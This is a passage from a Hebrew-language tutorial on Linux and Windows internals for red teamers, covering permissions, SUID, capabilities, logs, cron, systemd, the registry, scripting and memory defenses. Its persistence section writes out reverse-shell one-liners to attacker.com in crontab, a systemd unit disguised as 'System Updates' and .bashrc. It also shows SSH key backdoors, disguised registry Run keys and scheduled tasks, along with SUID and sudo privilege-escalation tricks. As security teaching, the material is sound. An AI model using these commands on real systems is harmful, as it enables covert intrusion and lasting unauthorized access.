chmod u=rwx,g=rx,o=r file.txt # הגדר במדויק

# שיטה 2 – octal (עם מספרים):
# r=4, w=2, x=1
# מחבר את המספרים לקבל מספר לכל "בעלים"
# rwx = 4+2+1 = 7
# r-x = 4+0+1 = 5
# r-- = 4+0+0 = 4
# --- = 0

chmod 755 file.sh      # rwxr-xr-x (user כל, group/others קריאה+הרצה)
chmod 644 file.txt     # rw-r--r-- (user קריאה, שאר קריאה)
chmod 600 secret.key   # rw----- (!יכול לקרוא/כתוב user רק)
chmod 777 script.sh    # rwxrwxrwx – כולם הכל. בדרך כלל רע!

# שנה בעלות (צריך sudo):
chown alice:devs file.txt # user=alice, group=devs
chown alice file.txt      # user שנה רק
chown :devs file.txt      # group שנה רק
chown -R alice /data/     # -R = recursive (כל תיקייה בתוך /data)
```

Sticky Bit ו-SUID, SGID — הרשאות מיוחדות

:SUID (Set User ID)

כשקובץ הפעלה יש לו SUID, הוא רץ עם הרשאות הבעלים שלו — לא של מי שהפעיל אותו.

דוגמה: `ping` צריך לפתוח Socket "גולמי" — זה דורש הרשאות `root`. אבל אתה לא `root`. איך זה עובד? כי ל-`ping` יש SUID ובעלים הוא `root`. כשאתה מריץ `ping`, הוא רץ כ-`root` באופן אוטומטי!

```
ls -l /bin/ping
# -rwsr-xr-x root root /bin/ping
# ↑ 's' במקום 'x' = SUID מוגדר!

# מצא כל קבצים עם SUID
find / -perm -4000 -type f 2>/dev/null
# זרוק שגיאות הרשאה (כדי שהפלט יהיה נקי) = 2>/dev/null
```

למה SUID הוא מעניין ב-Red Teaming?

כי אם יש תוכנה לא בטוחה עם SUID של root — וניתן לנצל אותה — נוכל להריץ קוד כ-root! זה נקרא **Privilege Escalation** (העלאת הרשאות). חיפוש SUID files הוא אחד הצעדים הראשונים לאחר כניסה למחשב.

דוגמה: נניח שמישהו נתן SUID ל-`vim` (עורך טקסט). אפשר מתוך vim לפתוח shell עם `bash`! :. האם זה bash של root? כן! כי vim רץ כ-root.

```
# בדוק אם bash ספציפי הוא SUID
ls -l /bin/bash
# -rwxr-xr-x root root /bin/bash ← רגיל, טוב

# אם היה:
# -rwsr-xr-x root root /bin/bash ← מסוכן מאוד!
# אפשר לרוץ: bash -p ← יתן shell של root
```

SGID (Set Group ID): דומה ל-SUID אבל מגדיר **Group** במקום User.

Sticky Bit: על תיקייה — רק בעל הקובץ יכול למחוק אותו, גם אם ל-others יש w. לדוגמה `/tmp` — כולם יכולים ליצור קבצים שם, אבל כל אחד יכול למחוק רק את שלו.

```
ls -ld /tmp
# drwxrwxrwt ← 't' = Sticky Bit
```

Linux Capabilities — הרשאות גרנולריות

בלינוקס המודרני, "root" מחולק ל-**Capabilities** (יכולות) נפרדות. כל capability היא הרשאה ספציפית:

דוגמה	מה היא מאפשרת	Capability
nginx פורט 80	פתח פורט > 1024	CAP_NET_BIND_SERVICE
ping	socket גולמי	CAP_NET_RAW
debugger	ptrace/debug תהליכים אחרים	CAP_SYS_PTRACE
mount, swapon	כמעט כמו root	CAP_SYS_ADMIN
sudo	שנה UID	CAP_SETUID
root	התעלם מהרשאות קבצים	CAP_DAC_OVERRIDE

```
# ראה capabilities של קובץ:
getcap /usr/bin/ping
# /usr/bin/ping = cap_net_raw+ep

# מצא כל תוכניות עם capabilities
getcap -r / 2>/dev/null

# ראה capabilities של תהליך:
cat /proc/[PID]/status | grep Cap
# CapBnd: 0000003fffffffff -- bitmask

# מפענח:
capsh --decode=0000003fffffffff
```

ל-Red Teaming: תוכנית עם CAP_DAC_OVERRIDE יכולה לקרוא כל קובץ. עם CAP_NET_RAW — לכידת traffic. מצא capabilities לא מוצדקות = escalation path.

המשתמשים — מי רץ על המחשב

etc/passwd — רשימת המשתמשים

```
cat /etc/passwd

# מבנה: username:password:UID:GID:info:home:shell
# alice:x:1001:1001:Alice Smith:/home/alice:/bin/bash
# bob:x:1002:1002::/home/bob:/bin/sh
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

- x בשדה הסיסמה = הסיסמה ב- `/etc/shadow` (מוצפנת)
- UID = User ID. 0 = root. 1-999 = system users. 1000 = משתמשים רגילים
- shell = ה-shell שפותח כשמתחברים. `/usr/sbin/nologin` = לא יכול להתחבר

etc/shadow — הסיסמאות

```
# דורש sudo
sudo cat /etc/shadow

# alice:$6$salt$hash...:18000:0:99999:7:::
# ↑ $6$ = SHA-512. $5$ = SHA-256. $1$ = MD5 (ישן, חלש)
```

ל-**Red Teaming**: אם תשיג קריאה ל- `/etc/shadow`, תוכל לנסות **Password Cracking** — כלים כמו `john` (John the Ripper) או `hashcat` שמנסים מיליוני סיסמאות ומגיבים Hash.

```
# הרץ פקודה כ-root:
sudo apt update
sudo cat /etc/shadow

# הרץ כ-user אחר:
sudo -u alice ls /home/alice

# קבל shell של root:
sudo -s
sudo bash

# ראה מה *אתה* יכול להריץ עם sudo:
sudo -l

# Matching Defaults entries for alice on machine:
# User alice may run the following commands:
# (ALL) /usr/bin/vim          ← sudo vim יכולה alice
# (ALL) NOPASSWD: /bin/ls     ← !בלי סיסמה
```

ל- `sudo -l` **Red Teaming**: הוא אחת הפקודות הראשונות לאחר כניסה. אם תמצא שמותר לך `sudo` `vim` — אפשר לקבל root shell מ- `bash : !` (`vim`). אם מותר לך `sudo python3` — אפשר להריץ קוד שרירותי.

תצורה ולוגים — עקבות ומידע

קבצי לוג בלינוקס

לוג (Log) הוא יומן — רשומה של מה שקרה. כל פעולה משמעותית נרשמת.

```
# ניסיונות התחברות (SSH, sudo, login)
cat /var/log/auth.log          # Debian/Ubuntu
cat /var/log/secure           # RHEL/CentOS

# דוגמה לרשומה:
# Jan  1 12:00:01 server sshd[1234]: Accepted publickey for alice from 1.2.3.4

# לוג כללי של מערכת:
cat /var/log/syslog            # Debian/Ubuntu
cat /var/log/messages         # RHEL/CentOS

# לוגים של שרתים ספציפיים:
cat /var/log/apache2/access.log # Apache web server
cat /var/log/nginx/access.log   # Nginx
cat /var/log/mysql/error.log    # MySQL

# journald – מערכת לוגים מודרנית של systemd:
journalctl                    # כל הלוגים
journalctl -u sshd            # רק שירות sshd
journalctl -f                  # -f = follow, אמת בזמן
journalctl --since "1 hour ago" # מהשעה האחרונה
journalctl _UID=1001           # רק UID 1001 (alice)
```

ל-Red Teaming: לוגים הם שני צדדים. כ-Attacker — הם מגלים אותנו. כ-Red Teamer — אנחנו בודקים אם ה-Defender מגיב ללוגים. תמיד כדאי לדעת אילו לוגים קיימים ולנקות עקבות אם יש הרשאה.

DNS — `etc/hosts` מקומי

```
cat /etc/hosts
# 127.0.0.1    localhost
# ::1         localhost
# 10.0.0.5     internal-server
# 192.168.1.100 win-dc.company.local
```

ל-**Red Teaming:** חושף כתובות IP פנימיות של שרתים. מצוין למיפוי רשת פנימית. `/etc/hosts`

etc/cron/ — משימות אוטומטיות

cron הוא scheduler — מריץ פקודות לפי לוח זמנים. כמו "תזכורת" של המחשב.

```
# של המשתמש הנוכחי crontab:
crontab -l

# crontab של root (צריך sudo):
sudo crontab -l

# קבצי cron מערכתיים:
ls /etc/cron.d/      # של שירותים cron jobs
ls /etc/cron.daily/  # רץ כל יום
ls /etc/cron.hourly/ # רץ כל שעה
cat /etc/crontab     # ראשי crontab

# פורמט crontab:
# דקה שעה יום-בחודש יום-בשבוע פקודה
# * * * * * = כל דקה
# 0 2 * * * backup.sh = כל יום ב-2:00
# * * * * 5/ = כל 5 דקות
```

ל-cron jobs: **Red Teaming** שרצים כ-root הם מטרה. אם cron job רץ script שאפשר לכתוב אליו — שנה אותו לקוד שתוצאה גם — cron הוא מקום מצוין ל-**Persistence** (השארת דלת פתוחה).

systemd — ניהול שירותים מודרני

systemd הוא מנהל אתחול (init system) ומנהל שירותים. הוא PID 1.

שירות (Service/Daemon) הוא תוכנה שרצה ברקע — שרת SSH, שרת ווב, מסד נתונים.

```

# הצג כל השירותים:
systemctl list-units --type=service
systemctl list-units --type=service --state=running # רק רצים

# מצב שירות ספציפי:
systemctl status sshd
systemctl status nginx

# הפעל/עצור/הפעל-מחדש שירות (צריך sudo):
sudo systemctl start nginx
sudo systemctl stop nginx
sudo systemctl restart nginx

# הוסף/הסר מ-Auto-start (startup)
sudo systemctl enable nginx # boot יתחיל בכל
sudo systemctl disable nginx # boot-לא יתחיל ב

# הצג לוגים של שירות:
journalctl -u nginx -f

# קובץ Service Unit – ה"מתכון" של שירות:
cat /etc/systemd/system/myservice.service

# [Unit]
# Description=My Service
#
# [Service]
# User=www-data
# ExecStart=/usr/bin/python3 /opt/myapp/server.py
# Restart=always
#
# [Install]
# WantedBy=multi-user.target

```

ל-Red Teaming: אפשר ליצור Service Unit זדוני לקבלת **Persistence** — הקוד ירוץ בכל הפעלה מחדש.

```
# דוגמה – service זדוני (רק להבנה, לא להשתמש ממש):  
# [Service]  
# ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
```

Windows — המבנה הפנימי

Registry — DNA של Windows

ה-**Registry** הוא מסד נתונים מרכזי שמכיל את כל הגדרות Windows. כל תוכנה, כל שירות, כל הגדרת חומרה — הכל שם.

Registry ממורכב מ-Hives (כוורות):

Hive	מה מכיל	מקביל ב-Linux
HKEY_LOCAL_MACHINE (HKLM)	הגדרות מחשב — לכולם	/etc
HKEY_CURRENT_USER (HKCU)	הגדרות המשתמש הנוכחי	~/.config
HKEY_USERS (HKU)	הגדרות כל המשתמשים	/home/*/
HKEY_CLASSES_ROOT (HKCR)	שיוכי קבצים לתוכנות	/etc/mime.types
HKEY_CURRENT_CONFIG (HKCC)	חומרה נוכחית	/proc/sys

מבנה ה-Registry

Registry = עץ של מפתחות (Keys) וערכים (Values).

```

HKEY_LOCAL_MACHINE\
├── SOFTWARE\
│   ├── Microsoft\
│   │   ├── Windows NT\
│   │   │   ├── CurrentVersion\
│   │   │   │   ├── ProductName = "Windows 10 Pro" ← ערך (Value)
│   │   │   │   ├── Winlogon\
│   │   │   │   │   ├── Userinit = "C:\Windows\system32\userinit.exe"
│   │   │   │   └── Python\
│   │   │   └── 3.11\
│   └── SYSTEM\
│       ├── CurrentControlSet\
│       │   ├── Services\ ← כל השירותים
│       │   ├── Control\
│       │   └── LSA\ ← אבטחה, authentication

```

הרצה עם PowerShell

```

# קרא ערך מ-Registry:
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" -Name Product

# הצג תת-מפתחות:
Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows NT"

# כתיבה ל-Registry (צריך הרשאה):
Set-ItemProperty -Path "HKCU:\SOFTWARE\MyApp" -Name "Setting" -Value "Value"

# דרך reg.exe – CMD:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" # ← Autorun!

```

Run Keys — מה מתחיל ב-Startup

אחד המקומות הכי חשובים ב-Red Teaming:


```
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
```

כל ערך שם = תוכנה שתרוץ בהפעלת Windows.

```
# ראה מה רץ בstartup:
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

# דוגמה לפלט:
# Spotify      : C:\Users\alice\AppData\Roaming\Spotify\Spotify.exe
# OneDrive     : C:\Program Files\Microsoft OneDrive\OneDrive.exe /background
# SuspiciousApp : C:\temp\malware.exe ← לא נורמלי!
```

ל-**Red Teaming**: הוספת ערך ל-**Persistence** = Run Keys. בכל פעם שהמחשב יופעל מחדש, הקוד שלנו ירוץ.

Services — שירותי Windows

שירותי Windows הוא תהליך שרץ ברקע, בד"כ כ-SYSTEM (הרשאות גבוהות מאוד — מעל admin).

```
# הצג כל השירותים:
Get-Service

# מצא שירותים חשודים:
Get-WmiObject Win32_Service | Select-Object Name, PathName, StartName, State
# PathName = נתיב לקובץ ההפעלה – חשוב לבדוק!
# StartName = user תחת איזה (LocalSystem = SYSTEM privileges)

# שנה Startup לשירות (צריך admin):
sc config "ServiceName" start= auto      # תמיד
sc config "ServiceName" start= demand   # 'דני'

# ראה הרשאות של שירות:
sc sdshow "ServiceName"
```

ל-Red Teaming: שירות שרץ כ-SYSTEM עם נתיב ל-executable שניתן לכתוב אליו = **Privilege Escalation**. אם אפשר לשנות את ה-executable, הקוד שלנו ירוץ כ-SYSTEM.

Shell Scripting — אוטומציה בלינוקס

Shell script הוא קובץ טקסט עם פקודות bash שרצות אחת אחרי השנייה. במקום להקליד 20 פקודות, כתוב אותן פעם אחת ב-script.

יצירת script פשוט

```
# צור קובץ:
nano myscript.sh   # או כל עורך, vim או

# תוכן הקובץ:
#!/bin/bash
# השורה הראשונה היא "shebang" – אומרת איזה interpreter להשתמש
# #!/bin/bash = bash-השתמש ב

echo "שלום!"
echo "היום: $(date)" # $(date) = הרץ 'date'
echo "שם המשתמש הנוכחי: $(whoami)" # whoami = שם המשתמש הנוכחי

# תן הרשאת הרצה:
chmod +x myscript.sh

# הרץ:
./myscript.sh

# שלום!
Sun Jan 1 12:00:00 UTC 2026 # היום:
alice # אני
```

```
#!/bin/bash
```

```
# הגדר משתנה (אין רווחים סביב =):
```

```
name="alice"
```

```
age=25
```

```
# השתמש במשתנה (עם $):
```

```
echo "שם: $name"
```

```
echo "גיל: $age"
```

```
# משתנה מפקודה:
```

```
current_dir=$(pwd)
```

```
echo "אני ב: $current_dir"
```

```
# משתנה ממשתמש:
```

```
echo "מה שמך?"
```

```
read user_name
```

```
echo "שלום, $user_name!"
```

```
# משתנה סביבה (Environment Variable) – זמין לכל תהליכי-הבן:
```

```
export MY_VAR="value"
```

```
#!/bin/bash
```

```
file="/etc/passwd"
```

```
# בדוק אם קובץ קיים:
```

```
if [ -f "$file" ]; then
```

```
    echo "הקובץ קיים"
```

```
else
```

```
    echo "הקובץ לא קיים"
```

```
fi
```

```
# -f = קובץ רגיל קיים
```

```
# -d = תיקייה קיימת
```

```
# -e = קובץ/תיקייה קיים (כלשהו)
```

```
# -r = ניתן לקריאה
```

```
# -w = ניתן לכתיבה
```

```
# -x = ניתן להרצה
```

```
# -z = מחרוזת ריקה
```

```
# -n = מחרוזת לא ריקה
```

```
# השוואת מחרוזות:
```

```
user="root"
```

```
if [ "$user" = "root" ]; then
```

```
    echo "זה root!"
```

```
fi
```

```
# השוואת מספרים:
```

```
num=5
```

```
if [ "$num" -gt 3 ]; then    # -gt = greater than
```

```
    echo "גדול מ-3 $num"
```

```
fi
```

```
# -eq = equal, -ne = not equal, -lt = less than, -le = less or equal, -ge = greater or equal
```

```
#!/bin/bash

# for loop – קובץ בתיקיה – על כל קובץ בתיקיה:
for file in /etc/*.conf; do
    echo "בדוק: $file"
done

# for loop – על רשימה:
for ip in 192.168.1.1 192.168.1.2 192.168.1.3; do
    ping -c 1 -W 1 "$ip" > /dev/null && echo "$ip חי" || echo "$ip מת"
done

# -c 1 = packet שלח רק אחד
# -W 1 = נכה שנייה אחת
# > /dev/null = השלך פלט
# && = אם הצליח אז
# || = אם נכשל אז

# while loop:
count=0
while [ "$count" -lt 5 ]; do
    echo "ספירה: $count"
    count=$((count + 1)) # $(חישוב מתמטי)
done

# for loop עם seq:
for i in $(seq 1 10); do
    echo "מספר $i"
done
```

```
#!/bin/bash
```

```
# הגדר פונקציה:
```

```
check_host() {  
    local host="$1"      # $1 = פרמטר ראשון. 'local' = משתנה מקומי  
    ping -c 1 -W 1 "$host" > /dev/null 2>&1  
    if [ $? -eq 0 ]; then    # $? = הצלחה = 0  
        echo "$host: פעיל"  
    else  
        echo "$host: לא מגיב"  
    fi  
}
```

```
# קרא לפונקציה:
```

```
check_host "8.8.8.8"  
check_host "google.com"  
check_host "192.168.1.1"
```

```
#!/bin/bash
# סריקת hosts ברשת

NETWORK="192.168.1" # 3-אוקטטים הראשונים

echo "סורק את ${NETWORK}.0/24..."
echo "-----"

for i in $(seq 1 254); do
    host="${NETWORK}.${i}"
    # אחד, בשקט packet, שנייה 1 timeout עם ping:
    if ping -c 1 -w 1 "$host" > /dev/null 2>&1; then
        echo "[+] $host – פעיל"
    fi
done

echo "סיום"
```

Windows של PowerShell — Shell

PowerShell הוא ה-shell של Windows. שונה מאוד מ-bash — עובד עם **Objects** (אובייקטים) ולא עם טקסט.

כשבash מריצים `ls | grep something` — מחפשים בטקסט.

כשב-PowerShell מריצים `Get-ChildItem | Where-Object ...` — מחפשים בשדות של Object.

פקודות בסיסיות (PowerShell):

```
Get-ChildItem          # ls כמו
Get-ChildItem -Hidden  # כולל נסתרים
Set-Location C:\Users  # cd כמו
Get-Content C:\file.txt # cat כמו
Copy-Item src dst      # cp כמו
Remove-Item file.txt   # rm כמו
Get-Help Get-ChildItem # man כמו
```

Aliases – קיצורים נוחים:

```
ls      # = Get-ChildItem
cd      # = Set-Location
cat     # = Get-Content
cp      # = Copy-Item
rm      # = Remove-Item
echo    # = Write-Output
```

Pipeline עם Objects:

```
Get-Process | Where-Object { $_.CPU -gt 10 }
```

מחזיר רשימת אובייקטים Get-Process

Where-Object – רק אלה שה property CPU-מסנן 10 גדול מ-

"\$ = _" האובייקט הנוכחי ב-pipeline

עיבוד והצגה:

```
Get-Process | Select-Object Name, CPU, WorkingSet | Sort-Object CPU -Descending
```

Select-Object = בחר רק שדות אלה

Sort-Object = יורד CPU, מ'ן לפי

מידע על המחשב:

Get-ComputerInfo

systeminfo

משתמשים:

Get-LocalUser # כל המשתמשים

Get-LocalGroupMember Administrators # Administrators מ' ב

net user # CMD style

net localgroup Administrators # CMD style

רשת:

Get-NetIPAddress # IP כתובות

ipconfig /all # CMD style – מפורט

Get-NetRoute # טבלת ניתוב

netstat -an # חיבורים פעילים

Test-Connection 8.8.8.8 -Count 4 # ping

Resolve-DnsName google.com # DNS lookup

תהליכים:

Get-Process # כל התהליכים

Get-CimInstance Win32_Process | Select-Object Name, CommandLine, ProcessId

CommandLine = חשוב מאוד – את התהליך שהפעילה המלאה

שירותים:

Get-Service

Get-WmiObject Win32_Service | Select-Object Name, PathName, StartName

חיפוש קבצים:

Get-ChildItem -Path C:\ -Recurse -Filter "*.config" -ErrorAction SilentlyContinue

Get-ChildItem -Path C:\ -Recurse | Where-Object { \$_.LastWriteTime -gt (Get-Date).AddDays

חיפוש תוכן:

Select-String -Path "C:\Users**.txt" -Pattern "password"

```
# find – חיפוש קבצים

find /home -name "*.txt"          # כל /home תחת .txt כל
find / -name "config.php" 2>/dev/null # חפש בכל המערכת, זרוק שגיאות
find /var/www -type f -name "*.php" # רק קבצים (לא תיקיות)
find / -type f -newer /etc/passwd  # קבצים שנוצרו אחרי /etc/passwd
find / -size +10M 2>/dev/null      # מקבצים מעל 10 MB
find / -user alice 2>/dev/null     # קבצים של alice
find / -perm -4000 2>/dev/null     # SUID files! כל ה
find / -perm -o+w 2>/dev/null      # חשוד – others-כתיבה ל

# grep – חיפוש בתוכן קבצים

grep "password" /etc/php.ini       # בקובץ "password" חפש
grep -r "password" /var/www/       # חפש בכל התיקיה, recursive
grep -ri "password" /var/www/      # -i = case insensitive
grep -l "password" /etc/*.conf     # הצג רק שמות קבצים
grep -n "password" /etc/php.ini    # -n = מספר שורה
grep -v "^#" /etc/sshd_config      # -הצג שורות שלא מתחילות ב

# בשילוב:

find /etc -name "*.conf" | xargs grep -l "password" 2>/dev/null
# מצא כל conf ב-/etc, חפש בכלום "password", הצג אלה שמכילים
```

```

# cat – קובץ –
cat /etc/passwd

# head / tail – תחילה/סוף
head -20 /var/log/syslog      # 20 שורות ראשונות
tail -20 /var/log/syslog      # 20 שורות אחרונות
tail -f /var/log/auth.log     # -f = follow, (חכה לשורות חדשות) בזמן אמת

# less – נוחה – קריאה:
less /etc/sshd_config

# q = חפש = / , יצא, n = הבא, G = סוף, g = התחלה

# sort – מ'י'ן:
sort /etc/passwd              # לפי שמות
sort -n numbers.txt           # מספרי -n =
sort -r /etc/passwd           # הפוך -r =
sort -u file.txt               # ייחודי (ללא כפילויות) -u =

# uniq – הסר/ספור כפילויות:
sort file.txt | uniq           # הסר כפילויות (חייב ממוין)
sort file.txt | uniq -c        # ספור כמה פעמים כל שורה מופיעה -c =
sort file.txt | uniq -d        # הצג רק כפולות -d =

# cut – חתוך עמודות –
cut -d: -f1 /etc/passwd       # שדה 1 = -f1, מפריד נקודתיים -d: =
cut -d, -f1,3 file.csv         # שדות 1 ו-3 מ -d, -f1,3 CSV

# awk – כלי עיבוד טקסט חזק –
awk '{print $1}' file.txt      # הדפס עמודה 1
awk -F: '{print $1,$6}' /etc/passwd # -F: = הדפס שם +home מפריד,
awk '/alice/{print}' /etc/passwd # "alice" הדפס שורות עם
awk '$3 > 1000 {print $1}' /etc/passwd # UID > 1000 משתמשים עם

# sed – חיפוש ושינוי:
sed 's/old/new/' file.txt      # בכל שורה first match החלף
sed 's/old/new/g' file.txt     # -g = כל matches

```

```
sed -n '/pattern/p' file.txt # pattern הדפס רק שורות עם  
sed '/^#/d' file.txt # -מחק שורות שמתחילות ב #
```

```

# בדיקת קישוריות:
ping -c 4 google.com          # 4 packets שלח
traceroute google.com          # (hops) עקוב אחרי המסלול

# מידע רשת:
ip addr                        # (מודרני) IP כתובות
ip route                       # טבלת ניתוב
ifconfig                       # ישן יותר, עדיין נפוץ

# חיבורים פעילים:
ss -tuln                       # פתוחים ports כל
# -t = TCP, -u = UDP, -l = מאזינים, -n = (לא שמות) מספרים
# פלט:
# Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
# tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* ← SSH
# tcp LISTEN 0 128 0.0.0.0:80 0.0.0.0:* ← HTTP

ss -tulnp                      # כולל שם תהליך
netstat -tuln                  # ישן יותר, ss-שקול ל
netstat -an                   # כל החיבורים

# DNS:
nslookup google.com
dig google.com                 # מפורט יותר
host google.com                # פשוט

# הורדת קבצים:
wget http://example.com/file
curl -O http://example.com/file # -O = שמור בשם המקורי
curl -L -o output.txt url       # -L = redirects, עקוב, -o = שם
curl -H "Cookie: session=abc" url # מיוחד header עם
curl -X POST -d "user=a&pass=b" url # POST request
curl -k https://self-signed.com # -k = TLS errors (UNSAFE!) התעלם מ
curl -s url                     # -s = שקט, ללא progress bar

# לכידת תעבורה:

```

```
tcpdump -i eth0 # ב-eth0 traffic לכוד כל
tcpdump -i eth0 port 80 # רק HTTP
tcpdump -i eth0 'host 8.8.8.8' # עם traffic 8.8.8.8 רק
tcpdump -i eth0 -w capture.pcap # Wireshark שמור לקובץ
tcpdump -r capture.pcap # pcap קרא
```

הגנות מודרניות — מה עומד בפנינו

Red Teaming אמיתי = עקיפת הגנות. אי אפשר לעקוף מה שלא מכירים.

ASLR — Address Space Layout Randomization

מה זה: בכל הרצה, כתובות הזיכרון של תהליך ממוקמות במקום אקראי.

בלי ASLR: תוקף יכול להניח שה-stack תמיד ב-0x7fffffff000. כותב shellcode, קופץ לשם. עובד.

עם ASLR: Stack נמצאת ב-0x7f3a48c21000 היום, ב-0x7e91bb4f3000 מחר. תוקף לא יכול לנחש. ה-shellcode יודע לאן לקפוץ.

```
# בדיק ASLR
cat /proc/sys/kernel/randomize_va_space
# 0 = כבוי
# 1 = מופעל חלקית
# 2 = מופעל לחלוטין (ברירת מחדל בלינוקס מודרני)
```

DEP/NX — Data Execution Prevention / No-Execute

מה זה: זיכרון מסומן כ-"נתונים" (Data) לא ניתן להרצה. Heap ו-Stack הם נתונים, לא קוד.

בלי DEP: תוקף מניח shellcode ב-Stack (בתור "נתונים") ואז גורם לתוכנה לקפוץ אליו ולהריץ אותו. עובד.

עם DEP: ה-CPU מסרב להריץ קוד מ-SIGSEGV.Stack.

עקיפה: ROP (Return Oriented Programming) — במקום להריץ shellcode חדש, מרכיבים רצף מ"חתיכות" קוד שכבר קיים בזיכרון. מגניב מאוד.

Stack Canary

מה זה: ערך סודי נתון ב-Stack לפני כתובת החזרה. לפני שפונקציה מחזירה, בודקים: "הערך הסודי עדיין שם?" אם לא — מישוהו דרס את ה-CRASH — Stack.

```
// קוד פגיע ללא canary
void vulnerable() {
    char buf[64];
    gets(buf); // לא מגביל gets! הצפה ←
    return;    // אם הצפנו, נקפוץ לאיפה שנרצה ←
}

// עם canary
return המהדר מוסיף אוטומטית בדיקה לפני
// אם canary השתנה → crash__ → stack_chk_fail()
```

SELinux — Mandatory Access Control ו-AppArmor

מה זה: מגבילות מה תהליך ספציפי יכול לעשות — **מעבר** להרשאות בעלים.

דוגמה: nginx (שרת ווב) יכול לקרוא מ- `/var/www/html`. הוא **לא יכול** לקרוא מ- `/etc/shadow` — גם אם רץ כ-root!

```
# בדוק AppArmor
aa-status                # מה פרופילים פעילים
cat /proc/[PID]/attr/current # של תהליך AppArmor פרופיל

# בדוק SELinux
getenforce                # Enforcing / Permissive / Disabled
sestatus                  # מצב מפורט
```

AMSI — Windows Anti-Malware Scan Interface

מה זה: ב-Windows, AMSI הוא ממשק שמאפשר ל-Antivirus לסרוק **תוכן** (לא רק קבצים) לפני הרצה. כש PowerShell מריץ AMSI script, שולח את הטקסט ל-AV לסריקה.

```
# בשימוש רגיל:
# המשתמש מריץ AMSI → PowerShell script שולח ל-AV → אם clean, מריץ → אם malware, חוסם

# עוזר לחסום AMSI:
# - PowerShell scripts זדוניים
# - ספריות .NET זדוניות
# - VBScript/JScript זדוניים
```

ל-**Red Teaming: AMSI Bypass** הוא נושא שלם. קיימות שיטות לנטרל AMSI לפני הרצת קוד.

Persistence — איך נשארים בתוך המחשב

Persistence = יצירת "דלת אחורית" שמאפשרת גישה גם לאחר הפעלה מחדש.

Linux-ב

:crontab

```
# כל 5 דקות – reverse shell
*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'

# boot – הוסף user backdoor
@reboot /usr/bin/python3 /tmp/.hidden_backdoor.py
```

:SSH Authorized Keys

```
# הוסף public key שלנו:
echo "ssh-rsa AAAA... attacker" >> /home/alice/.ssh/authorized_keys
# עכשיו אפשר להתחבר כ-alice עם המפתח שלנו בלי סיסמה!
```

:systemd Service


```
cat > /etc/systemd/system/updates.service << EOF

[Unit]
Description=System Updates
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF

systemctl enable updates
```

: [.bashrc](#) / [.bash_profile](#)

```
: # הוסף לסוף .bashrc של אדמין:
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &' >> /root/.bashrc
reverse shell – פעם root פותח טרמינל – #
```

ב-Windows

:Registry Run Keys

```
# HKCU – לא צריך, רק למשתמש הנוכחי, admin:
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" `
    -Name "WindowsUpdate" -Value "C:\Users\alice\AppData\Local\update.exe"

# HKLM – צריך, admin:
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" `
    -Name "WindowsDefender" -Value "C:\Windows\Temp\malware.exe"
```

:Scheduled Task

```
# צור Scheduled Task :
$action = New-ScheduledTaskAction -Execute "C:\Windows\Temp\payload.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "WindowsUpdate" -Action $action -Trigger $trigger -RunLe
```

אבטחת מידע — מושגים יסוד

CIA Triad — שלושת הערכים

C — Confidentiality (סודיות):

רק מי שמורשה יכול לקרוא את המידע.

דוגמה: הסיסמאות שלך ב- `/etc/shadow` — רק root יכול לקרוא.

I — Integrity (שלמות):

המידע לא שונה בלי אישור.

דוגמה: חתימה דיגיטלית על קובץ — אפשר לוודא שלא שונה.

A — Availability (זמינות):

המידע זמין כשצריך.

דוגמה: מתקפת DDoS (Distributed Denial of Service) פוגעת ב-Availability — מציפה שרת בבקשות עד שקורס.

Least Privilege — הרשאות מינימליות

עיקרון: כל ישות (משתמש, שירות, תהליך) מקבל רק את ההרשאות שהיא צריכה — לא יותר.

דוגמה טובה: Web server רץ כ- `www-data` — משתמש ייעודי עם הרשאות מינימליות. לא יכול לקרוא `/etc/shadow`, לא יכול להתקין תוכנות.

דוגמה רעה: Web server רץ כ-root. אם ה-server נפרץ — התוקף הוא root. Game over.

ל-Red Teaming: אנחנו מחפשים בדיוק איפה Least Privilege לא מיושם. שירות שרץ כ-root כשלא צריך = מטרה.

Defense in Depth — שכבות הגנה

לא מסתמכים על הגנה אחת. אם אחת נכשלת — יש שכבה הבאה:

```
אינטרנט
↓
חיצוני Firewall
↓
DMZ (Demilitarized Zone – אזור ביניים)
↓
Load Balancer / WAF (Web Application Firewall)
↓
Web Server
↓
פנימי Firewall
↓
Application Server
↓
Database – עם הגנות שלו
```

ל-Red Teaming: אנחנו מנסים לקפוץ שכבה שכבה. נכנסנו דרך Web server? נמשיך ל-Database.

סיכום — מה חשוב לזכור

מסעדנו היום דרך נושאים רבים. הנה תמצית:

מערכת הפעלה — שכבת תרגום בין חומרה לתוכנות. מנהלת משאבים, הרשאות, תהליכים.

Kernel Space / User Space — הגבול הקריטי. קוד בקרנל = אדיר. הרבה התקפות = ניסיון לחצות.

System Calls — כל אינטראקציה עם מערכת ההפעלה. חושף הכל. `strace`

proc/ — חלון לקרנל. `/proc/[pid]/maps` ו-`/proc/[pid]/mem` = זהב.

File Descriptors — הכל מספר: קבצים, רשת, pipes.

Signals — SIGKILL (9) = לא ניתן לחסום. SIGTERM (15) = ניתן.

SUID / Capabilities — מצא קבצים עם הרשאות מיוחדות = escalation path.

